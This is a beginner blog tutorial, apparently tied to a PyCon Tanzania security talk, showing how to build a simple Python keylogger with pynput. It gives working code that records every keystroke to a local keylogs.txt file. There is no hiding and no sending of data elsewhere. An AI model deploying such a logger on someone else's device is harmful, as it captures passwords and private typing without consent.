Python keylogger in 5 minutes
Tags: python, cybersecurity, tutorial, codenewbie
Published: 2021-02-23 21:02:16

How it started ?
---------------

It was during the [PyconTanzania](http://pycon.or.tz/), There was a talk about Cybersecurity presented by [Mary Isamba](https://www.linkedin.com/in/mary-isamba-24a19514a/) and along it, we made of our very own simple keylogger in python.

Intro
-------

This is very basic project and you don't need to be even competent with python to successful build it, let's get started!!

To build a *keylogger* we need a way to keep track of every key pressed on a keyboard, there are couple of libaries in python for doing that ranging from 

- [keyboard](https://pypi.org/project/keyboard/)
- [PyUserInput](https://github.com/SavinaRoja/PyUserInput)
- [pynput](https://pypi.org/project/pynput/)

Take a time to look at them and pick the one fits you well, in this project we are going to use *pynput*;

Installation
------------

```bash 
pip install pynput 
```

Building our keylogger 
----------------------

To track key strokes we have to implement a listener function and then attach it to our pynput listener, here how;

```python
>>> from pynput import keyboard
>>> def on_press(key):
...     print(key)

>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> h'h'
v'v'
Key.ctrl
'v'
Key.cmd
Key.ctrl
Key.shift
```

As we can see in just few lines of code we were able to implement a keylogger that track a pressed key and output it in our repl terminal

So what we have to do now is to open a new file for storing our keystrokes instead of printing them on the repl, Here how;

```python
>>> from pynput import keyboard
>>> def on_press(key):
...     with open('keylogs.txt', 'a') as logs:
...             logs.write(str(key))
... 
>>> listener = keyboard.Listener(on_press=on_press)
>>> listener.start()
>>> hellodam testing

```
Now If you go and take a look at your current directory and you will see a new file named **keylogs.txt** with new tracked keys in it just as shown below;

```bash
❯ cat keylogs.txt
Key.cmd'h''e''l''l''o''d''a''m'Key.space't''e''s''t''i''n''g'Key.cmdKey.cmdKey.ctrlKey.alt't''c''a''t'Key.space'k''e''y'Key.tabKey.enter%     
```

Here is how our formatted code can look like;

```python
from pynput import keyboard


class KeyLogger():
    def __init__(self, filename: str = "keylogs.txt") -> None:
        self.filename = filename

    @staticmethod
    def get_char(key):
        try:
            return key.char
        except AttributeError:
            return str(key)

    def on_press(self, key):
        print(key)
        with open(self.filename, 'a') as logs:
            logs.write(self.get_char(key))

    def main(self):
        listener = keyboard.Listener(
            on_press=self.on_press,
        )
        listener.start()


if __name__ == '__main__':
    logger = KeyLogger()
    logger.main()
    input()
```

We are done 
------------

Congrats you just learned how to make a keylogger in Python now shout to your fellow peers

You can also connect with me on [twitter](https://twitter.com/j_kalebu)

I also write python articles on my [personal blog](https://kalebujordan.dev/)


{% github https://github.com/Kalebu/python-keylogger %}